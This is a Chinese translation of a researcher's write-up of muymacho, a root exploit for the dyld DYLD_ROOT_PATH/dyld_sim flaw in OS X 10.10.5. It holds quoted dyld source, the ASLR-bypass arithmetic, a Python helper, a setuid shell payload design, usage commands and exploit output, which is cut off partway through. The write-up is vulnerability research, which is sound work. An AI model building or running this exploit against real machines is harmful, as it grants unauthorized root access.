from:https://luismiras.github.io/muymacho-exploiting_DYLD_ROOT_PATH/

muymacho是一个漏洞利用工具。存在于Mac OS X 10.10.5中dyld的bug可以用来提权至root。在最新的酋长石（EI Capitan 10.11）中已经被修补。

这是一个有趣的bug，利用过程也很好玩。本篇文章的目的就是介绍该利用的过程。你可以阅读dyld的源代码来跟随我们一起探索其中的奥秘。我希望你能享受muymacho给你带来的快乐。

...dyld_sim是一个Mach-O文件，但是利用漏洞的过程将dyld_sim变成了muymacho ：）

下面我们进入正题：

0x00 漏洞发现

该bug最初是在dyld-353.2.1（10.10.0-10.10.4）的源代码审计中发现的，后来通过IDA pro对10.10.5更新的二进制文件分析发现bug依然存在。苹果公司最终在9/17/2015发布了10.10.5的源代码。本文也进行了更新来涵盖最新的dyld源代码。

对dyld的兴趣来自@i0n1c在7/20号发布的挑战。

我找到了与环境变量DYLD_PRINT_TO_FILE相关的bug并且写了一个exploit。之后不久，i0n1c发布了他的writeup和exploit。

当我在寻找DYLD_PRINT_TO_FILE漏洞的时候，我发现了一些有问题的代码。后来我又重新进行审计，发现了一个DYLD_ROOT_PATH的漏洞。我确信我是不第一个也不是唯一一个发现该漏洞的人。

注：我认为该漏洞可能已经被编号为CVE-2015-5876（提交者为grayhash的beist）。更多细节可以在附录中的CVE号那一节中获得。

DYLD_ROOT_PATH漏洞是本文的主题，在接下来几节里面进行详细介绍。该漏洞已经在EI Capitan版本中进行修补。

dyld是OS X和iOS的动态连接器。它和系统加载器（loader）一起协同来为一个进程的的执行做前期的准备工作。基本的步骤为：

系统loader将二进制文件的page和dyld加载进内存
控制权交给dyld，所有它可以加载和连接其他的库和需要的的文件到进程的地址空间
进程加载完成，在内存的进程执行入口点开始执行

在一个拥有suid的二进制文件执行的时候，dyld会提权运行。二进制并没有实际开始执行，因此不能降低权限。

更多细节可以参考link和link（dyld实际上比本文总结的要复杂的多）。

该漏洞与DYLD_ROOT_PATH环境变量的使用有关。下面是一段dyld主页的摘要：

DYLD_ROOT_PATHThis is a colon separated list of directories. The dynamic linker will prepend each of this directory paths to every image access until a file is found.

尽管上面的描述是真实的，但是还有一个增加的功能并没有写进文档。为了理解该功能，我们需要稍微讨论一下iOS模拟器。与Android使用仿真器不同（执行ARM指令），iOS使用一个模拟器来运行x86_64编译的程序。模拟器的一个步骤就是在dyld中使用特定的iOS模拟器版本来替换build的。这个特殊的版本被称作dyld_sim。

为了使用dyld_sim，需要在执行程序的语句前将环境变量DYLD_ROOT_PATH设置到一个目录中。具体如下：

$ DYLD_ROOT_PATH=/Users/user/tmp crontab

上面的例子希望dyld_sim被设置到如下的目录中

/Users/user/tmp/usr/lib/dyld_sim

漏洞的细节在下节中讲解。但是先提前透露点，关键就在于dyld_sim文件的验证不足。dyld_sim是一个Mach-O格式文件，但是开发利用将dyld_sim变成了muymacho ：）

0x01 漏洞

本文大多数的分析都是针对dyld-353.2.3（10.10.5）的dyld.cpp，除了在附录里面介绍10.10.4版本的那一节。这个bug看起来是在与OS X 10.9一起发布的dyld-239.3中引入的。

漏洞代码存在于dyld.cpp:useSimulatorDyld()函数。如果一个dyld_sim文件存在于DYLD_ROOT_PATH指向的目录中，dyld_sim将会被打开，打开后返回的文件描述符将会传给useSimulatorDyld()。

下面的代码取自dyld.cpp:_main()

strlcat(simDyldPath, "/usr/lib/dyld_sim", PATH_MAX);
   int fd = my_open(simDyldPath, O_RDONLY, 0);
   if ( fd != -1 ) {
      result = useSimulatorDyld(fd, mainExecutableMH, simDyldPath, argc, argv, envp, apple, startGlue);
      if ( !result && (*startGlue == 0) )
         halt("problem loading iOS simulator dyld");

下面给出了useSimulatorDyld()的全部代码。它处理和加载dyld_sim。需要指出的是useSimulatorDyld()函数中任何的失败都会导致进程的停止。

__attribute__((noinline))static uintptr_t useSimulatorDyld(int fd, const macho_header* mainExecutableMH, const char* dyldPath, 
                int argc, const char* argv[], const char* envp[], const char* apple[], uintptr_t* startGlue){
  *startGlue = 0;

  // verify simulator dyld file is owned by root
  struct stat sb;
  if ( fstat(fd, &sb) == -1 )
    return 0;    

  // read first page of dyld file
  uint8_t firstPage[4096];
  if ( pread(fd, firstPage, 4096, 0) != 4096 )
    return 0;

  // if fat file, pick matching slice
  uint64_t fileOffset = 0;
  uint64_t fileLength = sb.st_size;
  const fat_header* fileStartAsFat = (fat_header*)firstPage;
  if ( fileStartAsFat->magic == OSSwapBigToHostInt32(FAT_MAGIC) ) {
    if ( !fatFindBest(fileStartAsFat, &fileOffset, &fileLength) ) 
      return 0;
    // re-read buffer from start of mach-o slice in fat file
    if ( pread(fd, firstPage, 4096, fileOffset) != 4096 )
      return 0;
  }
  else if ( !isCompatibleMachO(firstPage, dyldPath) ) {
    return 0;
  }

  // calculate total size of dyld segments
  const macho_header* mh = (const macho_header*)firstPage;
  uintptr_t mappingSize = 0;
  uintptr_t preferredLoadAddress = 0;
  const uint32_t cmd_count = mh->ncmds;
  const struct load_command* const cmds = (struct load_command*)(((char*)mh)+sizeof(macho_header));
  const struct load_command* cmd = cmds;
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_SEGMENT_COMMAND:
        {
          struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
          mappingSize += seg->vmsize;
          if ( seg->fileoff == 0 )
            preferredLoadAddress = seg->vmaddr;
        }
        break;
    }
    cmd = (const struct load_command*)(((char*)cmd)+cmd->cmdsize);
  }    

  // reserve space, then mmap each segment
  vm_address_t loadAddress = 0;
  uintptr_t entry = 0;
  if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
    return 0;
  cmd = cmds;
  struct linkedit_data_command* codeSigCmd = NULL;
  for (uint32_t i = 0; i < cmd_count; ++i) {
    switch (cmd->cmd) {
      case LC_SEGMENT_COMMAND:
        {
          struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
          uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
          void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
          //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
          if ( segAddress == (void*)(-1) )
            return 0;
        }
        break;
      case LC_UNIXTHREAD:
        {
        #if __i386__
          const i386_thread_state_t* registers = (i386_thread_state_t*)(((char*)cmd) + 16);
          entry = (registers->__eip + loadAddress - preferredLoadAddress);
        #elif __x86_64__
          const x86_thread_state64_t* registers = (x86_thread_state64_t*)(((char*)cmd) + 16);
          entry = (registers->__rip + loadAddress - preferredLoadAddress);
        #endif
        }
        break;
      case LC_CODE_SIGNATURE:
        codeSigCmd = (struct linkedit_data_command*)cmd;
        break;
    }
    cmd = (const struct load_command*)(((char*)cmd)+cmd->cmdsize);
  }

  if ( codeSigCmd == NULL )
    return 0;    

  fsignatures_t siginfo;
  siginfo.fs_file_start=fileOffset;             // start of mach-o slice in fat file 
  siginfo.fs_blob_start=(void*)(long)(codeSigCmd->dataoff); // start of code-signature in mach-o file
  siginfo.fs_blob_size=codeSigCmd->datasize;          // size of code-signature
  int result = fcntl(fd, F_ADDFILESIGS_FOR_DYLD_SIM, &siginfo);
  if ( result == -1 ) {
    dyld::log("fcntl(F_ADDFILESIGS_FOR_DYLD_SIM) failed with errno=%d\n", errno);
    return 0;
  }    

  close(fd);    

  // notify debugger that dyld_sim is loaded
  dyld_image_info info;
  info.imageLoadAddress = (mach_header*)loadAddress;
  info.imageFilePath    = strdup(dyldPath);
  info.imageFileModDate = sb.st_mtime;
  addImagesToAllImages(1, &info);
  dyld::gProcessInfo->notification(dyld_image_adding, 1, &info);

  // jump into new simulator dyld
  typedef uintptr_t (*sim_entry_proc_t)(int argc, const char* argv[], const char* envp[], const char* apple[],
                const macho_header* mainExecutableMH, const macho_header* dyldMH, uintptr_t dyldSlide,
                const dyld::SyscallHelpers* vtable, uintptr_t* startGlue);
  sim_entry_proc_t newDyld = (sim_entry_proc_t)entry;
  return (*newDyld)(argc, argv, envp, apple, mainExecutableMH, (macho_header*)loadAddress, 
           loadAddress - preferredLoadAddress, 
           &sSysCalls, startGlue);}

useSimulatorDyld()的目的是加载dyld_sim，执行一些检查，然后将控制权交给dyld_sim。dyld_sim开始执行，原来的dyld就被取代。

我们可以从上面的代码知道，useSimulatorDyld()做了以下几件事：

读取Mach-O头
循环处理LC_SEGMENT_64命令并且计算出全部数据的大小
vm_allocate()申请内存
mmap()将segment段都读取进内存
验证代码签名
跳转到dyld_sim的入口

muymacho利用的就是从10.9就存在的DYLD_ROOT_PATH漏洞。从10.10.4起，又增加一个可以进行攻击的向量，但是在10.10.5中被修补。聪明的读者可以发现漏洞存在于dyld_sim的Mach-O头的处理过程中。一个畸形的Mach-O文件可以导致内存段被替换，从而导致任意代码执行，这一切都发生在签名验证之前。

为了说明mach-O文件加载进内存是如何进行的，我们需要复习一下Mach-O的知识。苹果提供了一份完整的Mach-O说明文档。我们将相关的两个结构定义放在了下面，其中最为重要的是segment_command_64。

/* * The 64-bit mach header appears at the very beginning of object files for * 64-bit architectures. */
struct mach_header_64 {
   uint32_t      magic;      /* mach magic number identifier */
   cpu_type_t    cputype;    /* cpu specifier */
   cpu_subtype_t cpusubtype; /* machine specifier */
   uint32_t      filetype;   /* type of file */
   uint32_t      ncmds;      /* number of load commands */
   uint32_t      sizeofcmds; /* the size of all the load commands */
   uint32_t      flags;      /* flags */
   uint32_t      reserved;   /* reserved */
};
/* * The 64-bit segment load command indicates that a part of this file is to be * mapped into a 64-bit task's address space.  If the 64-bit segment has * sections then section_64 structures directly follow the 64-bit segment * command and their size is reflected in cmdsize. */
struct segment_command_64 { /* for 64-bit architectures */
   uint32_t   cmd;          /* LC_SEGMENT_64 */
   uint32_t   cmdsize;      /* includes sizeof section_64 structs */
   char       segname[16];  /* segment name */
   uint64_t   vmaddr;       /* memory address of this segment */
   uint64_t   vmsize;       /* memory size of this segment */
   uint64_t   fileoff;      /* file offset of this segment */
   uint64_t   filesize;     /* amount to map from the file */
   vm_prot_t  maxprot;      /* maximum VM protection */
   vm_prot_t  initprot;     /* initial VM protection */
   uint32_t   nsects;       /* number of sections in segment */
   uint32_t   flags;        /* flags */
};

首先，useSimulatorDyld()需要提取Mach-O头。可以在源代码中看到，在处理胖格式（Universal binary）的初始化代码来确定确定实际Mach-O头的位置。dyld然后读取一页（0x1000bytes）的数据，其中包含该Mach-O头。

载入了Mach-O头之后，useSimulatorDyld()处理加载命令。通过两个循环来处理如LC_SEGMENT_64, LC_UNIXTHREAD和 LC_CODE_SIGNATURE之类的加载命令。第一个循环处理显示如下。处理LC_SEGMENT_64加载命令。计算出vmsize的总大小，确定preferredLoadAddress。如果没有segment段的fileoff项为0，那么preferredLoadAddress默认设置为0。

for (uint32_t i = 0; i < cmd_count; ++i) {
      switch (cmd->cmd) {
         case LC_SEGMENT_COMMAND: // <-- Note: defined in a macro as LC_SEGMENT_64 
            {
               struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
               mappingSize += seg->vmsize;
               if ( seg->fileoff == 0 )
                  preferredLoadAddress = seg->vmaddr;
            }
            break;
      }
      cmd = (const struct load_command*)(((char*)cmd)+cmd->cmdsize);
   }

在mappingSize计算出来后调用vm_allocate()。分配内存的地址被保存在loadAddress变量中。如果分配失败，useSimulatorDyld()函数退出。

if ( ::vm_allocate(mach_task_self(), &loadAddress, mappingSize, VM_FLAGS_ANYWHERE) != 0 )
      return 0;

分配内存之后，就到了第二个循环，相关代码如下。这个循环同样解析LC_UNIXTHREAD，LC_CODESIGNATURE加载命令，但是与漏洞无关。导致漏洞产生的是这个加载命令：LC_SEGMENT_64。

case LC_SEGMENT_COMMAND: // <- this is defined in a macro as LC_SEGMENT_64
   {
      struct macho_segment_command* seg = (struct macho_segment_command*)cmd;
      uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;
      void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
      //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
      if ( segAddress == (void*)(-1) )
         return 0;
   }

看代码可以发现，这个case段的代码功能是加载segment段到最新分配的内存中去。但是，这个LC_SEGMENT_64加载命令几乎没有进行任何验证。具体说就是这段代码计算出requestedLoadAddress的参数，是来自Macho-O完全可控的区域的。

uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;

prederredLoadAddress默认是0，剩下只有loadAddress和seg->vmaddr起作用了。下面是一个简化的等式。这个等式将会以不同的形式贯穿于本文。

requestedLoadAddress = seg->vmaddr + loadAddress

seg->vmaddr是直接从segment段命令获取，之后加上loadAddress（由vm_allocate设置）。一部分已经受到控制的requestedLoadAddress变量最后作为参数传给mmap。

mmap使用了一些有趣的flag。特别是MAP_FIXED。下面是一段mmap手册的摘录

MAP_FIXEDDo not permit the system to select a different address than the one specified. If the specified address cannot be used, mmap() will fail. If MAP_FIXED is specified, addr must be a multiple of the pagesize. If a MAP_FIXED request is successful, the mapping established by mmap() replaces any previous mappings for the process’ pages in the range from addr to addr + len. Use of this option is discouraged.

（不让系统在给出的地址外选择其他的地址。如果给出的地址不能使用，mmap()函数返回失败。如果声明了MAP_FIXED，地址必须是页面大小的倍数。如果一个MAP_FIXED请求成功，mmap()进行加载，会替换该进程之前在addr到addr+len之间的任何加载映射。使用这个选项是不被推荐的。）

关键词是 “替换任何之前的内存映射”。无论是堆，还是栈，甚至是执行代码都会被替换。一个攻击者可以创建一个Mach-O文件。对其LC_SEGMENT_64 加载命令进行构造。这不仅仅是控制requestedLoadAddress，而且可以完全控制页面权限，filesize和fileoff。

在调试器中手工测试证明了mmap()调用后可以成功替换可执行页。

0x02 利用分析

如下是一个欺骗要素表单，提供一份对不同的定义和词语的快速参考。

CHEAT SHEET

loadAddressaddress returned by vm_allocate()

vmaddrsegment’s vmaddr value (seg->vmaddr)

mmap_equationrequestedLoadAddress = vmaddr + loadAddress

拥有了替换内存可执行页的能力，利用漏洞就变得相对简单了。ROP也没必要了，因为我们可以控制新加载的可执行内存页的内容。我们的需要覆盖的目标页将是dyld里面拥有mmap系统调用的那一页。如果现在的OS X操作系统没有ASLR，这些就不重要了。我们首先进行没有ASLR的利用分析。然后再考虑如何绕过它。

因为dyld是动态连接器，所有它需要自我包含。dyld拥有它需要使用的所有系统调用。useSimulatorDyld()函数调用::mmap()函数（包装了__mmap()）。

00007FFF5FC2693E           mov     r12d, ecx
00007FFF5FC26941           mov     r8d, r15d
00007FFF5FC26944           call    ___mmap
00007FFF5FC26949           mov     rbx, rax
00007FFF5FC2694C           lea     rax, ___syscall_logger

__mmap()函数包含了mmap系统调用。

00007FFF5FC26DBC ___mmap   proc near               ; CODE XREF: _mmap+31p
00007FFF5FC26DBC           mov     eax, 20000C5h
00007FFF5FC26DC1           mov     r10, rcx
00007FFF5FC26DC4           syscall
00007FFF5FC26DC6           jnb     short locret_7FFF5FC26DD0

当mmap系统调用返回的时候，指令指针将会指向地址0x7fff5fc26dc6。传给mmap一个0x7fff5fc26000的requestedLoadAddress参数。mmap将会替换我们的包含mmap系统调用的目标内存页。当新的segment段被加载，进程将开始执行我们的代码。

uintptr_t requestedLoadAddress = seg->vmaddr - preferredLoadAddress + loadAddress;

简化的mmap等式为：（preferredLoadAddress默认值为0）

requestedLoadAddress = seg->vmaddr + loadAddress

如果我们回忆一下，会发现loadAddress是由vm_allocate函数设置的。如下所示，vm_allocate返回的地址就在基础程序页之后。举例，crontab生成一个如下的内存分布：

==== regions for process 44045  (non-writable and writable regions are interleaved)
REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
mapped file            0000000100000000-0000000100005000 [   20K] r-x/rwx SM=COW  /Users/user/tmp/crontab
mapped file            0000000100005000-0000000100006000 [    4K] rw-/rwx SM=COW  /Users/user/tmp/crontab
mapped file            0000000100006000-0000000100009000 [   12K] r--/rwx SM=COW  /Users/user/tmp/crontab
VM_ALLOCATE (reserved) 0000000100009000-0000000100029000 [  128K] rw-/rwx SM=NUL  reserved VM address space (unallocated)
STACK GUARD            00007fff5bc00000-00007fff5f400000 [ 56.0M] ---/rwx SM=NUL  stack guard for thread 0
Stack                  00007fff5f400000-00007fff5fbff000 [ 8188K] rw-/rwx SM=PRV  thread 0
Stack                  00007fff5fbff000-00007fff5fc00000 [    4K] rw-/rwx SM=COW
__TEXT                 00007fff5fc00000-00007fff5fc37000 [  220K] r-x/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff5fc37000-00007fff5fc3a000 [   12K] rw-/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff5fc3a000-00007fff5fc70000 [  216K] rw-/rwx SM=PRV  /usr/lib/dyld
__LINKEDIT             00007fff5fc70000-00007fff5fc84000 [   80K] r--/rwx SM=COW  /usr/lib/dyld
shared memory          00007fffffe00000-00007fffffe01000 [    4K] r--/r-- SM=SHM
shared memory          00007fffffeed000-00007fffffeee000 [    4K] r-x/r-x SM=SHM

如上内存分布，loadAddress是0x100009000（VM_ALLOCATE）。如果将seg->vmaddr设置为0x7ffe5fc1d000，那么将会替换dyld可执行页在地址0x7fff5fc26000。

seg->vmaddr = requestedLoadAddress - loadAddress
seg->vmaddr = 0x7fff5fc26000 - 0x100009000
seg->vmaddr = 0x7ffe5fc1d000

我们可以构建一个Mach-O文件，使得它的seg->vmaddr值为0x7ffe5fc1d000。这样目的就可以实现。

以上的内存分布和计算都是在没有ASLR的情况下进行的，目的是为了讨论更为简单。下一节将讨论ASLR的绕过。

0X03 ASLR绕过

下面是一个升级版的欺骗要素表单。

CHEAT SHEET

loadAddress address returned by vm_allocate()

vmaddr segment’s vmaddr value (seg->vmaddr)

dyld_target dyldpage we are targetting (contains the mmap syscall)

mmap_equation requestedLoadAddress = vmaddr + loadAddress

ASLR slide random offset applied to memory regions 0x0000000 to 0xffff000 bytes (0 to 0xffff pages)

之前的一节忽略了ASLR，但这是必须面对的。ASLR添加偏移到各种内存区域，包括可执行页，栈和dyld的可执行页。为了抵御攻击，导致内存地址不固定了。

下面是一个开启了ASLR的内存布局实例。注意dyld没有加载到它的首选偏移上，与之前的内存分布不一样，实际上它偏移为0x9f40000 bytes。

==== regions for process 44357  (non-writable and writable regions are interleaved)
REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
mapped file            0000000102da7000-0000000102dac000 [   20K] r-x/rwx SM=COW  /usr/bin/crontab
mapped file            0000000102dac000-0000000102dad000 [    4K] rw-/rwx SM=COW  /usr/bin/crontab
mapped file            0000000102dad000-0000000102db0000 [   12K] r--/rwx SM=COW  /usr/bin/crontab
VM_ALLOCATE (reserved) 0000000102db0000-0000000102dd0000 [  128K] rw-/rwx SM=NUL  reserved VM address space (unallocated)
STACK GUARD            00007fff58e59000-00007fff5c659000 [ 56.0M] ---/rwx SM=NUL  stack guard for thread 0
Stack                  00007fff5c659000-00007fff5ce58000 [ 8188K] rw-/rwx SM=ZER  thread 0
Stack                  00007fff5ce58000-00007fff5ce59000 [    4K] rw-/rwx SM=COW
__TEXT                 00007fff69b09000-00007fff69b40000 [  220K] r-x/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff69b40000-00007fff69b43000 [   12K] rw-/rwx SM=COW  /usr/lib/dyld
__DATA                 00007fff69b43000-00007fff69b79000 [  216K] rw-/rwx SM=PRV  /usr/lib/dyld
__LINKEDIT             00007fff69b79000-00007fff69b8d000 [   80K] r--/rwx SM=COW  /usr/lib/dyld
shared memory          00007fffffe00000-00007fffffe01000 [    4K] r--/r-- SM=SHM
shared memory          00007fffffeed000-00007fffffeee000 [    4K] r-x/r-x SM=SHM

其他内存区域包含偏移。crontab基础二进制文件拥有一个0xda7000byte偏移。同样的偏移应用在loadAddress（VM_ALLOCATE区）。

0x04 内存区块和范围

利用分析一节解决了vmaddr的取值问题，使得当加上loadAddress之后就可以替换dyld的目标可执行页。我们的目的没有变，希望能用我们的内容覆盖dyld的目标页。然而我们内存地址不再是固定的地址。我们执行环境的地址是在有限的地址范围内变化的。

在制定一个攻击计划之前，我们需要确定内存的变化范围是多少。使用ASLR后，可能的地址范围变为：

loadAddress:0x100009000 to 0x110008000 (max ASLR slide = 0x0ffff000)
dyld_target:0x7fff5fc26000 - 0x7fff6fc25000 (max ASLR slide = 0x0ffff000)

下一步，我们计算vmaddr的可能取值范围。我们希望mmap能覆盖dyld的目标页，所以用dyld_target取值范围替换mmap等式中的requestedLoadAddress：

vmaddr = dyld_target - loadAddress

为了确定vmaddr的范围，我们需要最小值和最大值。接下来的图显示了如何来计算：

图左侧显示了最小的vmaddr，它使用了dyld_target的最小值和loadAddress的最大值：

vmaddr_min = (dyld_target + ASLR_slide_min) - (loadAddress + ASLR_slide_max)vmaddr_min = (0x7fff5fc26000 + 0x00000000) - (0x100009000 + 0x0ffff000)vmaddr_min = 0x7fff5fc26000 - 0x110008000vmaddr_min = 0x7ffe4fc1e000

图右侧显示了最大的vmaddr，它使用了dyld_target的最大值和loadAddress的最小值：

vmaddr_max = (dyld_target + ASLR_slide_max) - (loadAddress + ASLR_slide_min)vmaddr_max = (0x7fff5fc26000 + 0x0ffff000) - (0x100009000 + 0x00000000)vmaddr_max = 0x7fff6fc25000 - 0x100009000vmaddr_max = 0x7ffe6fc1c000

vmaddr的范围为0x7ffe4fc1e000至0x7ffe6fc1c000。整个大小为0x1fffe000 bytes（为ASLR最大偏移的2倍）。

为了增强漏洞利用的稳定性，全部的内存范围都要需要被加载。从单一的segment段中加载整个范围是不可能的（没人想要一个500+MB的exploit！），所以我们使用多个segment段。

0x05 潜在问题

在这里，我们需要解释一些更多的问题：

需要多少的segment段？
mmap会失败返回吗？
会发生不可预料的内存问题吗？

需要多少的segments段？

Mach-O头只能读取仅仅一页（0x1000 bytes ），mach_header_64结构有0x20bytes大，segment_command_64结构有72bytes，所以最多只能有56个segment（(4096-32)/72=56）。为了简化计算，muymacho使用了32个segment段。所有的segment的fileoff成员变量都指向同一块数据（0x1000000bytes）。

这32个segment将会覆盖全部的vmaddr范围（0x1fffe000），还多一页剩余。

所以需要32个segment。

mmap会失败返回吗？

useSimulatorDyld()中调用mmap的部分代码如下所示。注意如果mmap失败，useSimulatorDyld()函数就退出。

void* segAddress = ::mmap((void*)requestedLoadAddress, seg->filesize, seg->initprot, MAP_FIXED | MAP_PRIVATE, fd, fileOffset + seg->fileoff);
   //dyld::log("dyld_sim %s mapped at %p\n", seg->segname, segAddress);
   if ( segAddress == (void*)(-1) )
      return 0;

mmap申请的内存如果超出了用户空间（大于0x7fffffffffff）就会失败。我们需要保证下面的限制：

requestedLoadAddress + seg->filesize < 0x7fffffffffff

由于ASLR，我们不知道真实的loadAddress和dyld_target地址。我们计算出了vmaddr的最小值（0x7ffe4fc1e000）和最大值（0x7ffe6fc1c000），以此来对抗ASLR。

我们来计算最大的requestedLoadAddress，使用mmap等式，代入最大的vmaddr值和最大的loadAddress。

requestedLoadAddress = vmaddr + loadAddressrequestedLoadAddress = 0x7ffe6fc1c000 + (loadAddress + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + (0x100009000 + 0x0ffff000)requestedLoadAddress = 0x7ffe6fc1c000 + 0x110008000 requestedLoadAddress = 0x7fff7fc24000

requestedLoadAddress的值为0x7fff7fc24000能很好的满足用户空间限定。seg->filesize需要大于0x803dbfff才能导致mmap调用失败。这显然不会发生。

会发生不可预料的内存问题吗？

加载如此大的segment（0x1000000）可能会引起某些疑虑，问题可以这样理解：

当我们替换dyld_target的时候会破坏栈吗？
如果我们覆盖了一部分dyld的页会发生什么？

在下一节实践中将会说明muymacho使用了由高至低策略。这种方法保证高地址先被替换。栈的地址低于dyld_target页面地址，在一个安全的距离上，所以栈是安全的：）

是否有这种可能，只有一部分的dyld页从一个segment加载，其余的页会在之后由下一个段加载。这有关系吗？不。

mmap系统调用，包装之后的函数，和useSimulatorDyld()里面的主要解析循环都被包含在dyld_target页中。useSimulatorDyld()的其他部分在下一个低地址页里面。

所以一切都没问题。

0x06 实践

muymacho使用了32个segments来覆盖一个0x20000000bytes大小的地址。这保证了所有的ASLR内存范围都被覆盖了。Segments将会不停加载直至dyld_target被覆盖。在那里我们的代码将会取得控制权。

采用由高至低的策略是为了防止不必要的内存破坏，尤其是栈。第一个segment使用最大的vmaddr值。接下来的segments使用小一点的值。保证整个范围被覆盖。接下来的图提供了一个例子。记住这不是成比例的。dyld_target只是一个页而segment是4096个页。

最终dyld_target将会被覆盖，代码将会得到执行。一旦dyld_target页被覆盖，控制权就会随着mmap调用的返回而立即获得。

0x07 最大vmaddr

muymacho中使用的最大的vmaddr不同于我们之前计算的。下面的函数计算了这个最大vmaddr。

def maximum_vmaddr(segment_size):
    '''    returns the maximum vmaddr        the function assumes the base binary is 9 pages long    as is the case for crontab giving a     loadAddress_min of 0x100009000        if attacking other suid programs, this value should    be adjusted. in reality a few pages here or there    won't have a noticeable effect.    '''
    dyld_target = 0x7fff5fc26000
    loadAddress_min = 0x100009000 
    aslr_slide_max = 0x0ffff000    

    dyld_target_max = dyld_target + aslr_slide_max
    maximum_offset = dyld_target_max - loadAddress_min    

    # Only one page from the payload needs to hit the maximum offset.
    vmaddr = maximum_offset - segment_size + 0x1000      

    return vmaddr

唯一的不同之处在于下面的代码：

# Only one page from the payload needs to hit the maximum offset.
    vmaddr = maximum_offset - segment_size + 0x1000

原始的vmaddr最大值计算假设我们是加载到单个页中。我们实际上是每次加载4096个页。

调整计算方法来适应只加载一页在最大vmaddr。不然我们就会浪费那些永远不会覆盖dyld_target的页。

下面的图可能能说明这个概念：

左侧的图是显示的原始的最大vmaddr（0x7ffe6fc1c000）覆盖可能的最高的dyld_target。其他的所有页都是多余的，因为我们已经在可能的最大vmaddr值和dyld_target最高地址。这个segment中只有一页可能覆盖到dyld_target。

右侧的图是调整后的vmaddr（0x7ffe6ec1d000）。这个segment段将覆盖到可能的最高dyld_target。所有的4096segment页可以覆盖所有的可能dyld_target页。

0x08 载荷Payload

在绕过ASLR那一节中，我们实现了一定了覆盖dyld_target。payload有0x1000000大，即4096个页。其中的一个页将覆盖到dyld_target页。

dyld的mmap系统调用显示如下：

00007FFF5FC26DBC ___mmap   proc near               ; CODE XREF: _mmap+31p
00007FFF5FC26DBC           mov     eax, 20000C5h
00007FFF5FC26DC1           mov     r10, rcx
00007FFF5FC26DC4           syscall
00007FFF5FC26DC6           jnb     short locret_7FFF5FC26DD0

当mmap系统调用返回时，将会从页内的0xdc6处开始执行。因为rax为返回值，它会存储最新加载内存的基地址，换句话说，rax指向我们payload的开始处。

所有4096个payload页的0xdc6处，都是一个jmp rax指令。payload开始处的第一页在0x00偏移处包含一段shellcode。

下图显示了基地址页（payload的地址最低的第一页）和标准页（4096也都有的内容）。

不必考虑哪一页会覆盖掉dyld_target，jmp rax指令都会将执行跳转到shellcode。

shellcode将会执行一条setuid(0)系统调用，然后执行execve(/bin/sh'')系统调用。启动一个sh。

0x09 完成利用

我们的目标是覆盖dyld_target，该页是dyld中包含mmap系统调用的那一页。
我们使用32个segment覆盖0x20000000 bytes来绕过ASLR。
- 我们使用由高至低的策略
- 第一个segment的vmaddr是0x7ffe6ec1d000
- 后面的segment拥有更小（0x1000000）vmaddr
所有segment指向payload同样的4096个页
- 所有页在偏移0xdc6处都是jmp rax指令
- 基础页里面包含我们的shellcode

muymacho是由python编写，在github发布。在MachoFile和LC_SEGMENT_64类中进行了最小限度的Mach-O实现。创建了一个dyld_sim文件，包含32个segment。所有都指向payload。

muymacho使用时，输入一个基目录路径，会自动生成需要的目录结构和dyld_sim文件。实际的利用需要设置DYLD_ROOT_PATH到一个目录，并执行一个suid的二进制文件。下面是一个运行的例子。

user@yosemite:~/tmp$ python muymacho.py ~/tmp
muymacho.py - exploit for DYLD_ROOT_PATH vuln in OS X 10.10.5
Luis Miras @_luism    

[+] using base_directory: /Users/user/tmp
[+] creating dir: /Users/user/tmp/usr/lib
[+] creating macho file: /Users/user/tmp/usr/lib/dyld_sim    LC_SEGMENT_64: segment 0x00    vm_addr: 0x7ffe6ec1d000    LC_SEGMENT_64: segment 0x01    vm_addr: 0x7ffe6dc1d000    LC_SEGMENT_64: segment 0x02    vm_addr: 0x7ffe6cc1d000    LC_SEGMENT_64: segment 0x03    vm_addr: 0x7ffe6bc1d000    LC_SEGMENT_64: segment 0x04    vm_addr: 0x7ffe6ac1d000    LC_SEGMENT_64: segment 0x05    vm_addr: 0x7ffe69c1d000    LC_SEGMENT_64: segment 0x06    vm_addr: 0x7ffe68c1d000    LC_SEGMENT_64: segment 0x07    vm_addr: 0x7ffe67c1d000    LC_SEGMENT_64: segment 0x08    vm_addr: 0x7ffe66c1d000    LC_SEGMENT_64: segment 0x09    vm_addr: 0x7ffe65c1d000    LC_SEGMENT_64: segment 0x0a    vm_addr: 0x7ffe64c1d000    LC_SEGMENT_64: segment 0x0b    vm_addr: 0x7ffe63c1d000    LC_SEGMENT_64: segment 0x0c    vm_addr: 0x7ffe62c1d000    LC_SEGMENT_64: segment 0x0d    vm_addr: 0x7ffe61c1d000    LC_SEGMENT_64: segment 0x0e    vm_addr: 0x7ffe60c1d000    LC_SEGMENT_64: segment 0x0f    vm_addr: 0x7ffe5fc1d000    LC_SEGMENT_64: segment 0x10    vm_addr: 0x7ffe5ec1d000    LC_SEGMENT_64: segment 0x11    vm_addr: 0x7ffe5dc1d000    LC_SEGMENT_64: segment 0x12    vm_addr: 0x7ffe5cc1d000    LC_SEGMENT_64: segment 0x13    vm_addr: 0x7ffe5bc1d000    LC_SEGMENT_64: segment 0x14    vm_addr: 0x7ffe5ac1d000    